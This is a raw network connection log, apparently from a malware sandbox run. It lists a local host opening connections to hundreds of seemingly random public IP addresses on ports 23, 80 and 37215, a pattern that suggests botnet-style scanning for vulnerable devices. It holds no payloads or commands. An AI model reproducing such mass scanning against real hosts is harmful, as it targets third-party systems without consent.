Oct 14, 2024 17:34:13.035737991 CEST	40210	23	192.168.2.14	66.202.147.152
Oct 14, 2024 17:34:13.035739899 CEST	38150	37215	192.168.2.14	41.91.24.44
Oct 14, 2024 17:34:13.035739899 CEST	54334	37215	192.168.2.14	41.197.118.7
Oct 14, 2024 17:34:13.035739899 CEST	37670	37215	192.168.2.14	41.117.250.58
Oct 14, 2024 17:34:13.035746098 CEST	52634	80	192.168.2.14	25.150.151.44
Oct 14, 2024 17:34:13.035746098 CEST	50884	80	192.168.2.14	83.75.118.219
Oct 14, 2024 17:34:13.035746098 CEST	35614	80	192.168.2.14	147.133.121.129
Oct 14, 2024 17:34:13.035746098 CEST	43130	23	192.168.2.14	192.30.251.198
Oct 14, 2024 17:34:13.035757065 CEST	37472	23	192.168.2.14	132.11.128.12
Oct 14, 2024 17:34:13.035757065 CEST	49530	80	192.168.2.14	103.190.193.46
Oct 14, 2024 17:34:13.035762072 CEST	37680	37215	192.168.2.14	41.229.107.145
Oct 14, 2024 17:34:13.035762072 CEST	56922	37215	192.168.2.14	197.239.93.184
Oct 14, 2024 17:34:13.035762072 CEST	37900	37215	192.168.2.14	197.59.228.193
Oct 14, 2024 17:34:13.035762072 CEST	39028	23	192.168.2.14	178.232.3.196
Oct 14, 2024 17:34:13.035762072 CEST	51930	23	192.168.2.14	160.6.111.25
Oct 14, 2024 17:34:13.035778046 CEST	57880	80	192.168.2.14	141.245.229.176
Oct 14, 2024 17:34:13.035779953 CEST	53882	80	192.168.2.14	34.0.0.31
Oct 14, 2024 17:34:13.040677071 CEST	23	54980	206.60.64.183	192.168.2.14
Oct 14, 2024 17:34:13.040726900 CEST	80	50408	13.192.143.77	192.168.2.14
Oct 14, 2024 17:34:13.040731907 CEST	54980	23	192.168.2.14	206.60.64.183
Oct 14, 2024 17:34:13.040831089 CEST	50408	80	192.168.2.14	13.192.143.77
Oct 14, 2024 17:34:13.040939093 CEST	50408	80	192.168.2.14	13.192.143.77
Oct 14, 2024 17:34:13.040950060 CEST	50408	80	192.168.2.14	13.192.143.77
Oct 14, 2024 17:34:13.041506052 CEST	51078	80	192.168.2.14	13.192.143.77
Oct 14, 2024 17:34:13.045789003 CEST	80	50408	13.192.143.77	192.168.2.14
Oct 14, 2024 17:34:13.046370029 CEST	80	51078	13.192.143.77	192.168.2.14
Oct 14, 2024 17:34:13.046452045 CEST	51078	80	192.168.2.14	13.192.143.77
Oct 14, 2024 17:34:13.046452045 CEST	51078	80	192.168.2.14	13.192.143.77
Oct 14, 2024 17:34:13.051920891 CEST	80	51078	13.192.143.77	192.168.2.14
Oct 14, 2024 17:34:13.052081108 CEST	51078	80	192.168.2.14	13.192.143.77
Oct 14, 2024 17:34:13.055273056 CEST	37215	51160	156.152.71.59	192.168.2.14
Oct 14, 2024 17:34:13.059272051 CEST	37215	35148	156.80.33.71	192.168.2.14
Oct 14, 2024 17:34:13.059281111 CEST	37215	53512	156.160.223.165	192.168.2.14
Oct 14, 2024 17:34:13.067728996 CEST	54188	37215	192.168.2.14	156.95.186.74
Oct 14, 2024 17:34:13.067728996 CEST	43232	80	192.168.2.14	120.68.33.190
Oct 14, 2024 17:34:13.067728996 CEST	46164	80	192.168.2.14	145.51.2.149
Oct 14, 2024 17:34:13.067728996 CEST	55172	23	192.168.2.14	144.138.72.33
Oct 14, 2024 17:34:13.067729950 CEST	36954	23	192.168.2.14	205.224.32.125
Oct 14, 2024 17:34:13.067729950 CEST	58270	23	192.168.2.14	89.62.210.100
Oct 14, 2024 17:34:13.067729950 CEST	33454	23	192.168.2.14	94.125.234.202
Oct 14, 2024 17:34:13.067730904 CEST	48840	80	192.168.2.14	36.90.161.9
Oct 14, 2024 17:34:13.067730904 CEST	52868	37215	192.168.2.14	156.45.65.139
Oct 14, 2024 17:34:13.067730904 CEST	47610	23	192.168.2.14	93.229.65.224
Oct 14, 2024 17:34:13.067730904 CEST	53066	37215	192.168.2.14	197.117.165.145
Oct 14, 2024 17:34:13.067730904 CEST	41834	37215	192.168.2.14	197.189.220.157
Oct 14, 2024 17:34:13.067734003 CEST	59338	23	192.168.2.14	119.131.38.32
Oct 14, 2024 17:34:13.067734003 CEST	59790	23	192.168.2.14	140.233.9.116
Oct 14, 2024 17:34:13.067753077 CEST	46412	80	192.168.2.14	94.52.242.89
Oct 14, 2024 17:34:13.067754984 CEST	34394	23	192.168.2.14	153.60.52.206
Oct 14, 2024 17:34:13.067754984 CEST	58448	23	192.168.2.14	102.207.18.216
Oct 14, 2024 17:34:13.067754984 CEST	41634	37215	192.168.2.14	41.238.41.114
Oct 14, 2024 17:34:13.067754984 CEST	35680	23	192.168.2.14	83.41.251.122
Oct 14, 2024 17:34:13.067754984 CEST	57674	37215	192.168.2.14	41.51.46.101
Oct 14, 2024 17:34:13.067758083 CEST	55774	80	192.168.2.14	223.90.175.17
Oct 14, 2024 17:34:13.067758083 CEST	47520	37215	192.168.2.14	41.32.217.117
Oct 14, 2024 17:34:13.067758083 CEST	53008	37215	192.168.2.14	41.121.163.72
Oct 14, 2024 17:34:13.067759037 CEST	33808	80	192.168.2.14	154.40.52.245
Oct 14, 2024 17:34:13.067759037 CEST	55178	23	192.168.2.14	221.93.109.237
Oct 14, 2024 17:34:13.067759037 CEST	60196	37215	192.168.2.14	156.91.72.145
Oct 14, 2024 17:34:13.067759037 CEST	54764	23	192.168.2.14	161.200.252.117
Oct 14, 2024 17:34:13.067779064 CEST	56102	80	192.168.2.14	78.198.116.91
Oct 14, 2024 17:34:13.072611094 CEST	37215	54188	156.95.186.74	192.168.2.14
Oct 14, 2024 17:34:13.072659969 CEST	54188	37215	192.168.2.14	156.95.186.74
Oct 14, 2024 17:34:13.072686911 CEST	80	43232	120.68.33.190	192.168.2.14
Oct 14, 2024 17:34:13.072756052 CEST	54188	37215	192.168.2.14	156.95.186.74
Oct 14, 2024 17:34:13.072756052 CEST	54188	37215	192.168.2.14	156.95.186.74
Oct 14, 2024 17:34:13.072827101 CEST	43232	80	192.168.2.14	120.68.33.190
Oct 14, 2024 17:34:13.072870970 CEST	43232	80	192.168.2.14	120.68.33.190
Oct 14, 2024 17:34:13.072870970 CEST	43232	80	192.168.2.14	120.68.33.190
Oct 14, 2024 17:34:13.073942900 CEST	54776	37215	192.168.2.14	156.95.186.74
Oct 14, 2024 17:34:13.074052095 CEST	43814	80	192.168.2.14	120.68.33.190
Oct 14, 2024 17:34:13.077615023 CEST	37215	54188	156.95.186.74	192.168.2.14
Oct 14, 2024 17:34:13.077802896 CEST	80	43232	120.68.33.190	192.168.2.14
Oct 14, 2024 17:34:13.078697920 CEST	37215	54776	156.95.186.74	192.168.2.14
Oct 14, 2024 17:34:13.078746080 CEST	54776	37215	192.168.2.14	156.95.186.74
Oct 14, 2024 17:34:13.078779936 CEST	54776	37215	192.168.2.14	156.95.186.74
Oct 14, 2024 17:34:13.084233999 CEST	37215	54776	156.95.186.74	192.168.2.14
Oct 14, 2024 17:34:13.084292889 CEST	54776	37215	192.168.2.14	156.95.186.74
Oct 14, 2024 17:34:13.087142944 CEST	80	50408	13.192.143.77	192.168.2.14
Oct 14, 2024 17:34:13.099714041 CEST	47558	37215	192.168.2.14	156.135.171.102
Oct 14, 2024 17:34:13.099714041 CEST	35766	80	192.168.2.14	135.208.219.81
Oct 14, 2024 17:34:13.099714994 CEST	53298	23	192.168.2.14	31.198.111.132
Oct 14, 2024 17:34:13.099714994 CEST	42934	23	192.168.2.14	125.231.51.7
Oct 14, 2024 17:34:13.099714994 CEST	43848	37215	192.168.2.14	156.124.95.95
Oct 14, 2024 17:34:13.099740982 CEST	55928	23	192.168.2.14	74.170.177.152
Oct 14, 2024 17:34:13.099740982 CEST	43970	23	192.168.2.14	132.214.232.254
Oct 14, 2024 17:34:13.099741936 CEST	55298	80	192.168.2.14	120.235.153.226
Oct 14, 2024 17:34:13.099741936 CEST	60502	37215	192.168.2.14	41.70.210.88
Oct 14, 2024 17:34:13.099742889 CEST	60846	23	192.168.2.14	57.209.188.68
Oct 14, 2024 17:34:13.099742889 CEST	41040	37215	192.168.2.14	41.173.234.214
Oct 14, 2024 17:34:13.099741936 CEST	39070	23	192.168.2.14	99.38.14.214
Oct 14, 2024 17:34:13.099742889 CEST	52044	23	192.168.2.14	132.40.143.87
Oct 14, 2024 17:34:13.099741936 CEST	38936	80	192.168.2.14	46.213.133.53
Oct 14, 2024 17:34:13.099742889 CEST	48938	37215	192.168.2.14	156.56.92.171
Oct 14, 2024 17:34:13.099741936 CEST	43984	80	192.168.2.14	209.183.241.248
Oct 14, 2024 17:34:13.099742889 CEST	41404	37215	192.168.2.14	41.107.231.21
Oct 14, 2024 17:34:13.099744081 CEST	46904	23	192.168.2.14	196.106.143.157
Oct 14, 2024 17:34:13.099746943 CEST	55334	80	192.168.2.14	125.205.39.142
Oct 14, 2024 17:34:13.099744081 CEST	46852	80	192.168.2.14	53.212.153.150
Oct 14, 2024 17:34:13.099746943 CEST	53744	23	192.168.2.14	94.209.198.224
Oct 14, 2024 17:34:13.099746943 CEST	48088	80	192.168.2.14	114.168.32.232
Oct 14, 2024 17:34:13.099746943 CEST	60854	23	192.168.2.14	175.21.244.183
Oct 14, 2024 17:34:13.099747896 CEST	54242	23	192.168.2.14	195.166.140.123
Oct 14, 2024 17:34:13.104641914 CEST	80	35766	135.208.219.81	192.168.2.14
Oct 14, 2024 17:34:13.104652882 CEST	23	42934	125.231.51.7	192.168.2.14
Oct 14, 2024 17:34:13.104691029 CEST	37215	47558	156.135.171.102	192.168.2.14
Oct 14, 2024 17:34:13.104696035 CEST	35766	80	192.168.2.14	135.208.219.81
Oct 14, 2024 17:34:13.104733944 CEST	29626	80	192.168.2.14	74.187.239.132
Oct 14, 2024 17:34:13.104733944 CEST	29626	80	192.168.2.14	122.220.229.4
Oct 14, 2024 17:34:13.104734898 CEST	47558	37215	192.168.2.14	156.135.171.102
Oct 14, 2024 17:34:13.104754925 CEST	29626	80	192.168.2.14	103.66.156.90
Oct 14, 2024 17:34:13.104754925 CEST	29626	80	192.168.2.14	69.71.39.2
Oct 14, 2024 17:34:13.104756117 CEST	29626	80	192.168.2.14	96.44.205.145
Oct 14, 2024 17:34:13.104756117 CEST	29626	80	192.168.2.14	156.26.16.232
Oct 14, 2024 17:34:13.104759932 CEST	29626	80	192.168.2.14	88.18.227.132
Oct 14, 2024 17:34:13.104763031 CEST	29626	80	192.168.2.14	5.191.172.21
Oct 14, 2024 17:34:13.104763031 CEST	29626	80	192.168.2.14	47.207.147.215
Oct 14, 2024 17:34:13.104763031 CEST	29626	80	192.168.2.14	61.177.220.196
Oct 14, 2024 17:34:13.104768991 CEST	29626	80	192.168.2.14	98.241.167.151
Oct 14, 2024 17:34:13.104773998 CEST	42934	23	192.168.2.14	125.231.51.7
Oct 14, 2024 17:34:13.104773998 CEST	29626	80	192.168.2.14	170.185.254.31
Oct 14, 2024 17:34:13.104789019 CEST	29508	23	192.168.2.14	60.80.108.1
Oct 14, 2024 17:34:13.104794025 CEST	29508	23	192.168.2.14	153.33.46.221
Oct 14, 2024 17:34:13.104806900 CEST	29508	23	192.168.2.14	93.64.37.31
Oct 14, 2024 17:34:13.104815006 CEST	29508	23	192.168.2.14	164.237.12.53
Oct 14, 2024 17:34:13.104815006 CEST	29508	23	192.168.2.14	165.5.86.197
Oct 14, 2024 17:34:13.104815006 CEST	29508	23	192.168.2.14	50.225.228.193
Oct 14, 2024 17:34:13.104815006 CEST	29508	23	192.168.2.14	72.160.41.208
Oct 14, 2024 17:34:13.104820967 CEST	29508	23	192.168.2.14	129.111.100.84
Oct 14, 2024 17:34:13.104820967 CEST	29508	23	192.168.2.14	69.102.126.242
Oct 14, 2024 17:34:13.104823112 CEST	29508	23	192.168.2.14	132.137.226.245
Oct 14, 2024 17:34:13.104830027 CEST	29508	23	192.168.2.14	5.183.79.194
Oct 14, 2024 17:34:13.104832888 CEST	29508	23	192.168.2.14	8.95.230.178
Oct 14, 2024 17:34:13.104832888 CEST	29508	23	192.168.2.14	169.4.255.190
Oct 14, 2024 17:34:13.104842901 CEST	29508	23	192.168.2.14	109.171.50.126
Oct 14, 2024 17:34:13.104842901 CEST	29508	23	192.168.2.14	124.224.125.95
Oct 14, 2024 17:34:13.104842901 CEST	29508	23	192.168.2.14	129.247.131.135
Oct 14, 2024 17:34:13.104846001 CEST	29508	23	192.168.2.14	135.183.252.127
Oct 14, 2024 17:34:13.104846954 CEST	29508	23	192.168.2.14	18.134.147.123
Oct 14, 2024 17:34:13.104851961 CEST	29508	23	192.168.2.14	202.107.58.121
Oct 14, 2024 17:34:13.104851961 CEST	29508	23	192.168.2.14	120.126.141.210
Oct 14, 2024 17:34:13.104856968 CEST	29508	23	192.168.2.14	36.46.195.191
Oct 14, 2024 17:34:13.104857922 CEST	29508	23	192.168.2.14	200.88.96.249
Oct 14, 2024 17:34:13.104866982 CEST	29508	23	192.168.2.14	69.173.109.139
Oct 14, 2024 17:34:13.104870081 CEST	29508	23	192.168.2.14	166.18.164.103
Oct 14, 2024 17:34:13.104870081 CEST	29508	23	192.168.2.14	77.175.92.11
Oct 14, 2024 17:34:13.104871035 CEST	29508	23	192.168.2.14	106.198.5.253
Oct 14, 2024 17:34:13.104873896 CEST	29508	23	192.168.2.14	96.49.18.61
Oct 14, 2024 17:34:13.104873896 CEST	29508	23	192.168.2.14	197.156.8.33
Oct 14, 2024 17:34:13.104877949 CEST	29508	23	192.168.2.14	142.135.52.176
Oct 14, 2024 17:34:13.104880095 CEST	29625	37215	192.168.2.14	156.49.110.16
Oct 14, 2024 17:34:13.104880095 CEST	29508	23	192.168.2.14	20.202.90.32
Oct 14, 2024 17:34:13.104882956 CEST	29508	23	192.168.2.14	87.84.163.78
Oct 14, 2024 17:34:13.104885101 CEST	29508	23	192.168.2.14	27.41.0.136
Oct 14, 2024 17:34:13.104890108 CEST	29508	23	192.168.2.14	177.153.128.202
Oct 14, 2024 17:34:13.104890108 CEST	29508	23	192.168.2.14	109.222.199.75
Oct 14, 2024 17:34:13.104893923 CEST	29625	37215	192.168.2.14	156.250.254.172
Oct 14, 2024 17:34:13.104897976 CEST	29508	23	192.168.2.14	133.163.97.114
Oct 14, 2024 17:34:13.104901075 CEST	29625	37215	192.168.2.14	197.99.139.38
Oct 14, 2024 17:34:13.104901075 CEST	29625	37215	192.168.2.14	197.93.235.91
Oct 14, 2024 17:34:13.104901075 CEST	29508	23	192.168.2.14	207.50.173.235
Oct 14, 2024 17:34:13.104902029 CEST	29508	23	192.168.2.14	171.226.57.100
Oct 14, 2024 17:34:13.104902029 CEST	29508	23	192.168.2.14	85.13.195.220
Oct 14, 2024 17:34:13.104914904 CEST	29508	23	192.168.2.14	165.141.173.248
Oct 14, 2024 17:34:13.104916096 CEST	29508	23	192.168.2.14	37.167.132.129
Oct 14, 2024 17:34:13.104916096 CEST	29625	37215	192.168.2.14	197.177.56.130
Oct 14, 2024 17:34:13.104923964 CEST	29508	23	192.168.2.14	207.26.39.213
Oct 14, 2024 17:34:13.104927063 CEST	29508	23	192.168.2.14	168.108.84.3
Oct 14, 2024 17:34:13.104927063 CEST	29508	23	192.168.2.14	158.42.33.229
Oct 14, 2024 17:34:13.104928017 CEST	29508	23	192.168.2.14	110.137.2.217
Oct 14, 2024 17:34:13.104927063 CEST	29625	37215	192.168.2.14	41.123.243.134
Oct 14, 2024 17:34:13.104928017 CEST	29508	23	192.168.2.14	23.235.64.149
Oct 14, 2024 17:34:13.104927063 CEST	29508	23	192.168.2.14	42.157.95.177
Oct 14, 2024 17:34:13.104928970 CEST	29508	23	192.168.2.14	50.139.33.57
Oct 14, 2024 17:34:13.104927063 CEST	29625	37215	192.168.2.14	156.50.77.241
Oct 14, 2024 17:34:13.104953051 CEST	29508	23	192.168.2.14	219.46.206.21
Oct 14, 2024 17:34:13.104954958 CEST	29508	23	192.168.2.14	142.137.146.184
Oct 14, 2024 17:34:13.104955912 CEST	29508	23	192.168.2.14	101.32.19.198
Oct 14, 2024 17:34:13.104954958 CEST	29508	23	192.168.2.14	5.214.91.222
Oct 14, 2024 17:34:13.104957104 CEST	29508	23	192.168.2.14	151.17.74.112
Oct 14, 2024 17:34:13.104959011 CEST	29508	23	192.168.2.14	191.35.146.209
Oct 14, 2024 17:34:13.104957104 CEST	29625	37215	192.168.2.14	41.240.162.85
Oct 14, 2024 17:34:13.104959011 CEST	29508	23	192.168.2.14	177.140.185.183
Oct 14, 2024 17:34:13.104957104 CEST	29625	37215	192.168.2.14	197.246.31.107
Oct 14, 2024 17:34:13.104957104 CEST	29508	23	192.168.2.14	2.44.115.222
Oct 14, 2024 17:34:13.104957104 CEST	29508	23	192.168.2.14	217.78.69.41
Oct 14, 2024 17:34:13.104959011 CEST	29508	23	192.168.2.14	196.84.165.177
Oct 14, 2024 17:34:13.104957104 CEST	29625	37215	192.168.2.14	197.221.187.84
Oct 14, 2024 17:34:13.104959011 CEST	29625	37215	192.168.2.14	197.216.2.215
Oct 14, 2024 17:34:13.104969025 CEST	29508	23	192.168.2.14	20.145.172.81
Oct 14, 2024 17:34:13.104970932 CEST	29625	37215	192.168.2.14	156.221.56.106
Oct 14, 2024 17:34:13.105035067 CEST	29508	23	192.168.2.14	70.44.9.55
Oct 14, 2024 17:34:13.105035067 CEST	29625	37215	192.168.2.14	197.235.37.2
Oct 14, 2024 17:34:13.105035067 CEST	29508	23	192.168.2.14	217.89.172.249
Oct 14, 2024 17:34:13.105035067 CEST	29508	23	192.168.2.14	47.10.5.130
Oct 14, 2024 17:34:13.105036020 CEST	29508	23	192.168.2.14	103.197.138.42
Oct 14, 2024 17:34:13.105035067 CEST	29508	23	192.168.2.14	168.122.93.85
Oct 14, 2024 17:34:13.105036020 CEST	29625	37215	192.168.2.14	41.87.13.155
Oct 14, 2024 17:34:13.105036974 CEST	29508	23	192.168.2.14	17.117.155.162
Oct 14, 2024 17:34:13.105036020 CEST	29508	23	192.168.2.14	213.37.108.205
Oct 14, 2024 17:34:13.105036020 CEST	29625	37215	192.168.2.14	156.247.136.199
Oct 14, 2024 17:34:13.105036974 CEST	29625	37215	192.168.2.14	156.74.187.232
Oct 14, 2024 17:34:13.105036020 CEST	29625	37215	192.168.2.14	156.207.54.48
Oct 14, 2024 17:34:13.105036020 CEST	29625	37215	192.168.2.14	197.130.9.146
Oct 14, 2024 17:34:13.105040073 CEST	29508	23	192.168.2.14	87.12.182.155
Oct 14, 2024 17:34:13.105036974 CEST	29508	23	192.168.2.14	74.145.178.114
Oct 14, 2024 17:34:13.105040073 CEST	29508	23	192.168.2.14	44.47.71.25
Oct 14, 2024 17:34:13.105036974 CEST	29508	23	192.168.2.14	74.229.180.81
Oct 14, 2024 17:34:13.105037928 CEST	29508	23	192.168.2.14	34.23.198.135
Oct 14, 2024 17:34:13.105036974 CEST	29508	23	192.168.2.14	2.4.154.210
Oct 14, 2024 17:34:13.105036974 CEST	29625	37215	192.168.2.14	41.185.192.250
Oct 14, 2024 17:34:13.105037928 CEST	29508	23	192.168.2.14	140.51.60.62
Oct 14, 2024 17:34:13.105036974 CEST	29508	23	192.168.2.14	14.77.166.94
Oct 14, 2024 17:34:13.105037928 CEST	29508	23	192.168.2.14	188.226.95.21
Oct 14, 2024 17:34:13.105040073 CEST	29508	23	192.168.2.14	110.78.100.63
Oct 14, 2024 17:34:13.105037928 CEST	29625	37215	192.168.2.14	197.240.168.182
Oct 14, 2024 17:34:13.105040073 CEST	29508	23	192.168.2.14	169.13.123.181
Oct 14, 2024 17:34:13.105036974 CEST	29625	37215	192.168.2.14	41.110.81.160
Oct 14, 2024 17:34:13.105040073 CEST	29508	23	192.168.2.14	110.29.232.64
Oct 14, 2024 17:34:13.105037928 CEST	29508	23	192.168.2.14	148.113.62.78
Oct 14, 2024 17:34:13.105036974 CEST	29508	23	192.168.2.14	185.28.246.123
Oct 14, 2024 17:34:13.105040073 CEST	29508	23	192.168.2.14	201.233.197.224
Oct 14, 2024 17:34:13.105037928 CEST	29508	23	192.168.2.14	80.89.233.19
Oct 14, 2024 17:34:13.105040073 CEST	29625	37215	192.168.2.14	197.209.239.56
Oct 14, 2024 17:34:13.105036974 CEST	29508	23	192.168.2.14	217.127.46.169
Oct 14, 2024 17:34:13.105037928 CEST	29625	37215	192.168.2.14	41.182.35.126
Oct 14, 2024 17:34:13.105040073 CEST	29508	23	192.168.2.14	90.18.216.26
Oct 14, 2024 17:34:13.105036974 CEST	29508	23	192.168.2.14	87.99.153.26
Oct 14, 2024 17:34:13.105062962 CEST	29625	37215	192.168.2.14	197.155.125.245
Oct 14, 2024 17:34:13.105062962 CEST	29508	23	192.168.2.14	110.15.129.44
Oct 14, 2024 17:34:13.105062962 CEST	29508	23	192.168.2.14	221.63.173.254
Oct 14, 2024 17:34:13.105062962 CEST	29625	37215	192.168.2.14	41.29.112.2
Oct 14, 2024 17:34:13.105062962 CEST	29508	23	192.168.2.14	93.180.38.245
Oct 14, 2024 17:34:13.105062962 CEST	29508	23	192.168.2.14	178.3.207.110
Oct 14, 2024 17:34:13.105067015 CEST	29625	37215	192.168.2.14	41.19.100.229
Oct 14, 2024 17:34:13.105067015 CEST	29508	23	192.168.2.14	77.153.67.96
Oct 14, 2024 17:34:13.105067968 CEST	29625	37215	192.168.2.14	197.194.198.143
Oct 14, 2024 17:34:13.105087996 CEST	29508	23	192.168.2.14	45.140.245.182
Oct 14, 2024 17:34:13.105087996 CEST	29625	37215	192.168.2.14	197.138.169.17
Oct 14, 2024 17:34:13.105087996 CEST	29508	23	192.168.2.14	151.76.21.105
Oct 14, 2024 17:34:13.105087996 CEST	29625	37215	192.168.2.14	41.88.14.206
Oct 14, 2024 17:34:13.105087996 CEST	29508	23	192.168.2.14	45.25.9.198
Oct 14, 2024 17:34:13.105092049 CEST	29508	23	192.168.2.14	154.241.119.150
Oct 14, 2024 17:34:13.105092049 CEST	29508	23	192.168.2.14	222.144.187.87
Oct 14, 2024 17:34:13.105092049 CEST	29508	23	192.168.2.14	79.9.249.158
Oct 14, 2024 17:34:13.105092049 CEST	29625	37215	192.168.2.14	41.159.246.126
Oct 14, 2024 17:34:13.105092049 CEST	29625	37215	192.168.2.14	156.94.200.183
Oct 14, 2024 17:34:13.105093002 CEST	29508	23	192.168.2.14	191.99.72.114
Oct 14, 2024 17:34:13.105093956 CEST	29508	23	192.168.2.14	86.45.211.101
Oct 14, 2024 17:34:13.105093002 CEST	29508	23	192.168.2.14	58.138.14.213
Oct 14, 2024 17:34:13.105092049 CEST	29625	37215	192.168.2.14	41.17.244.244
Oct 14, 2024 17:34:13.105093002 CEST	29625	37215	192.168.2.14	197.182.18.17
Oct 14, 2024 17:34:13.105092049 CEST	29508	23	192.168.2.14	66.185.69.251
Oct 14, 2024 17:34:13.105092049 CEST	29508	23	192.168.2.14	132.113.158.148
Oct 14, 2024 17:34:13.105092049 CEST	29625	37215	192.168.2.14	41.73.187.184
Oct 14, 2024 17:34:13.105093002 CEST	29508	23	192.168.2.14	101.152.84.46
Oct 14, 2024 17:34:13.105093002 CEST	29508	23	192.168.2.14	175.74.142.76
Oct 14, 2024 17:34:13.105092049 CEST	29625	37215	192.168.2.14	41.45.95.192
Oct 14, 2024 17:34:13.105093002 CEST	29625	37215	192.168.2.14	41.204.18.247
Oct 14, 2024 17:34:13.105092049 CEST	29508	23	192.168.2.14	134.40.128.71
Oct 14, 2024 17:34:13.105093002 CEST	29508	23	192.168.2.14	181.0.4.60
Oct 14, 2024 17:34:13.105092049 CEST	29508	23	192.168.2.14	104.47.66.113
Oct 14, 2024 17:34:13.105093002 CEST	29625	37215	192.168.2.14	156.110.185.106
Oct 14, 2024 17:34:13.105092049 CEST	29508	23	192.168.2.14	179.135.75.159
Oct 14, 2024 17:34:13.105093002 CEST	29508	23	192.168.2.14	155.111.49.189
Oct 14, 2024 17:34:13.105093002 CEST	29625	37215	192.168.2.14	41.80.195.45
Oct 14, 2024 17:34:13.105093956 CEST	29508	23	192.168.2.14	18.79.9.35
Oct 14, 2024 17:34:13.105093002 CEST	29508	23	192.168.2.14	5.11.190.50
Oct 14, 2024 17:34:13.105092049 CEST	29508	23	192.168.2.14	64.227.36.177
Oct 14, 2024 17:34:13.105093956 CEST	29625	37215	192.168.2.14	197.9.160.57
Oct 14, 2024 17:34:13.105092049 CEST	29625	37215	192.168.2.14	197.136.227.148
Oct 14, 2024 17:34:13.105093002 CEST	29625	37215	192.168.2.14	41.102.26.209
Oct 14, 2024 17:34:13.105093956 CEST	29625	37215	192.168.2.14	156.98.98.88
Oct 14, 2024 17:34:13.105092049 CEST	29508	23	192.168.2.14	43.19.32.111
Oct 14, 2024 17:34:13.105093002 CEST	29508	23	192.168.2.14	67.37.96.223
Oct 14, 2024 17:34:13.105125904 CEST	29508	23	192.168.2.14	183.252.20.108
Oct 14, 2024 17:34:13.105125904 CEST	29508	23	192.168.2.14	138.95.162.205
Oct 14, 2024 17:34:13.105201960 CEST	29508	23	192.168.2.14	158.75.215.111
Oct 14, 2024 17:34:13.105201960 CEST	29625	37215	192.168.2.14	41.168.124.30
Oct 14, 2024 17:34:13.105201960 CEST	29508	23	192.168.2.14	169.155.53.85
Oct 14, 2024 17:34:13.105201960 CEST	29625	37215	192.168.2.14	156.231.131.188
Oct 14, 2024 17:34:13.105201960 CEST	29508	23	192.168.2.14	137.197.239.188
Oct 14, 2024 17:34:13.105201960 CEST	29508	23	192.168.2.14	222.109.92.36
Oct 14, 2024 17:34:13.105201960 CEST	29508	23	192.168.2.14	134.2.81.152
Oct 14, 2024 17:34:13.105201960 CEST	29625	37215	192.168.2.14	197.165.251.2
Oct 14, 2024 17:34:13.105201960 CEST	29625	37215	192.168.2.14	197.189.94.165
Oct 14, 2024 17:34:13.105201960 CEST	29625	37215	192.168.2.14	197.129.107.227
Oct 14, 2024 17:34:13.105201960 CEST	29508	23	192.168.2.14	149.222.218.169
Oct 14, 2024 17:34:13.105204105 CEST	29625	37215	192.168.2.14	197.186.115.50
Oct 14, 2024 17:34:13.105201960 CEST	29508	23	192.168.2.14	173.186.170.126
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	204.197.38.116
Oct 14, 2024 17:34:13.105206013 CEST	29508	23	192.168.2.14	34.111.109.139
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	73.17.100.237
Oct 14, 2024 17:34:13.105206013 CEST	29625	37215	192.168.2.14	197.216.74.101
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	197.157.6.125
Oct 14, 2024 17:34:13.105205059 CEST	29625	37215	192.168.2.14	197.168.52.16
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	160.33.198.228
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	150.226.214.45
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	51.138.243.150
Oct 14, 2024 17:34:13.105206013 CEST	29508	23	192.168.2.14	141.2.1.114
Oct 14, 2024 17:34:13.105204105 CEST	29508	23	192.168.2.14	105.193.241.171
Oct 14, 2024 17:34:13.105206013 CEST	29508	23	192.168.2.14	178.197.202.33
Oct 14, 2024 17:34:13.105204105 CEST	29508	23	192.168.2.14	117.122.217.92
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	145.142.138.157
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	111.153.98.30
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	125.71.186.39
Oct 14, 2024 17:34:13.105205059 CEST	29625	37215	192.168.2.14	41.78.198.102
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	91.247.113.155
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	61.104.246.88
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	50.189.134.161
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	13.151.35.174
Oct 14, 2024 17:34:13.105204105 CEST	29625	37215	192.168.2.14	197.145.251.123
Oct 14, 2024 17:34:13.105206013 CEST	29508	23	192.168.2.14	57.44.201.78
Oct 14, 2024 17:34:13.105205059 CEST	29625	37215	192.168.2.14	41.144.248.251
Oct 14, 2024 17:34:13.105225086 CEST	29625	37215	192.168.2.14	156.136.115.29
Oct 14, 2024 17:34:13.105206013 CEST	29625	37215	192.168.2.14	41.75.11.196
Oct 14, 2024 17:34:13.105204105 CEST	29508	23	192.168.2.14	54.221.254.245
Oct 14, 2024 17:34:13.105206013 CEST	29508	23	192.168.2.14	208.185.199.204
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	199.251.183.33
Oct 14, 2024 17:34:13.105206013 CEST	29625	37215	192.168.2.14	156.171.101.63
Oct 14, 2024 17:34:13.105205059 CEST	29508	23	192.168.2.14	212.208.0.231
Oct 14, 2024 17:34:13.105206013 CEST	29625	37215	192.168.2.14	41.212.150.111
Oct 14, 2024 17:34:13.105227947 CEST	29508	23	192.168.2.14	134.39.238.236
Oct 14, 2024 17:34:13.105206013 CEST	29508	23	192.168.2.14	66.218.50.245
Oct 14, 2024 17:34:13.105206013 CEST	29625	37215	192.168.2.14	41.148.21.83
Oct 14, 2024 17:34:13.105228901 CEST	29508	23	192.168.2.14	20.173.173.117
Oct 14, 2024 17:34:13.105206013 CEST	29508	23	192.168.2.14	160.252.56.244
Oct 14, 2024 17:34:13.105205059 CEST	29625	37215	192.168.2.14	156.150.108.227
Oct 14, 2024 17:34:13.105206013 CEST	29625	37215	192.168.2.14	41.164.193.190
Oct 14, 2024 17:34:13.105206013 CEST	29508	23	192.168.2.14	199.165.36.127
Oct 14, 2024 17:34:13.105206013 CEST	29625	37215	192.168.2.14	197.0.51.176
